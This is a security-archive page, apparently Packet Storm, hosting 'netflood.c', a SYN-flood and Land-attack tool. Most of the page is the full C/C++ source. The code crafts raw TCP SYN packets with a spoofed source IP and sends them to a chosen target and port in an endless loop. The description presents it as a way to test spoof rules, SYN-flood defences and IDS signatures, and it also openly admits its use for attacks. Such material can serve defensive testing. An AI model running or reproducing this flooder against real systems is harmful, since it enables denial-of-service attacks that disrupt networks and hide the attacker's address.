what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

netflood.c

netflood.c
Posted Aug 19, 2001
Site netflood.net

Netflood.c is useful for testing spoof rules on gateways, testing SYN flood defense mechanisms/configurations (like Checkpoint's SYNdefender module), testing IDS Syn flood/Land attack signatures. It can, of course, be used for engaging in Syn Flood attacks and Land attacks. It also counts number of packets sent.

tags | denial of service, spoof
SHA-256 | bda55ddbfb8ea2fe1cd54c3ee88c9a6cb350c464a7d1d47fddb41703ca8ce298

netflood.c

Change Mirror Download
/* Rooty's SYN Flooder -Aka."netflood"
* Rooty@netflood.net
* http://www.netflood.net
* "We Won't Waste Your Time."
* To compile: g++ -o netflood netflood.c
* Usage: ./netflood <spoofed IP address> <target> <port#>
*/

#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <iostream.h>
#include <sys/types.h>
#include <unistd.h>

void counter(unsigned int);
void banner(void);

void main(int argc,char **argv)
{

banner();

int sockfd;
int on = 1;
int datalen;
char sendbuffer[300];
struct iphdr *iphdr;
struct tcphdr *tcphdr;
struct sockaddr_in target;

if(argc != 4)
{
cout<<"\n\nbash#./netflood <source IP> <Target> <Port> \n";
return 0;
}

if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) <0)
{
cout<<"\n\nError socket()";
cout<<"\nAre you root ? \n";
return 0;
}

setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

iphdr = (struct iphdr*)sendbuffer;
tcphdr = (struct tcphdr*) (sendbuffer + sizeof(struct iphdr));

iphdr->ihl = 5;
iphdr->version = 4;
iphdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) +
datalen);
iphdr->id= 1611;
iphdr->frag_off = 0;
iphdr->ttl = 200;
iphdr->protocol = IPPROTO_TCP;
iphdr->saddr = inet_addr(argv[1]);
iphdr->daddr = inet_addr(argv[2]);

tcphdr->source = htons(1611);
tcphdr->dest = htons(atol(argv[3]));
tcphdr->seq = random();
tcphdr->doff = 5;
tcphdr->syn = 1;
tcphdr->window = htons(6111);

target.sin_family = AF_INET;
target.sin_addr.s_addr = iphdr->daddr;
target.sin_port = tcphdr->dest;

cout<<"\n\nSyn-Flood attack is started from \n";
cout<<argv[1]<<" to \n";
cout<<argv[2]<<" on Port "<<argv[3]<<" \n";
cout<<"\nstatus :";
cout<<"0000000000";
for(unsigned int i = 0;;i++)
{
sendto(sockfd, sendbuffer,sizeof(sendbuffer),0,(struct sockaddr *)&target,sizeof(target));
counter(i);
}

cout<<"\n\n";
return 0;
}

void banner(void)
{
cout<<"\n#######################################";
cout<<"\n# Rooty's Synflooder (aka. Netflood) #";
cout<<"\n# http://www.netflood.net #";
cout<<"\n# We Won't Waste Your Time. #";
cout<<"\n# Rooty@netflood.net #";
cout<<"\n#######################################";
}

void counter(unsigned int i)
{

if(i < 10)
{
cout<<'\b';
}
if(i >= 10 && i < 100)
{
cout<<"\b\b";
}
if(i >= 100 && i < 1000)
{
cout<<"\b\b\b";
}
if(i >= 1000 && i < 10000)
{
cout<<"\b\b\b\b";
}
if(i >= 10000 && i < 100000)
{
cout<<"\b\b\b\b\b";
}
if(i >= 100000 && i < 1000000)
{
cout<<"\b\b\b\b\b\b";
}
if(i >= 1000000 && i < 10000000)
{
cout<<"\b\b\b\b\b\b";
}
if(i >= 10000000 && i < 100000000)
{
cout<<"\b\b\b\b\b\b\b";
}
if(i >= 100000000 && i < 1000000000)
{
cout<<i;
}
if(i >= 1000000000)
{
cout<<"\b\b\b\b\b\b\b\b";
}
cout<<i;
}



Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close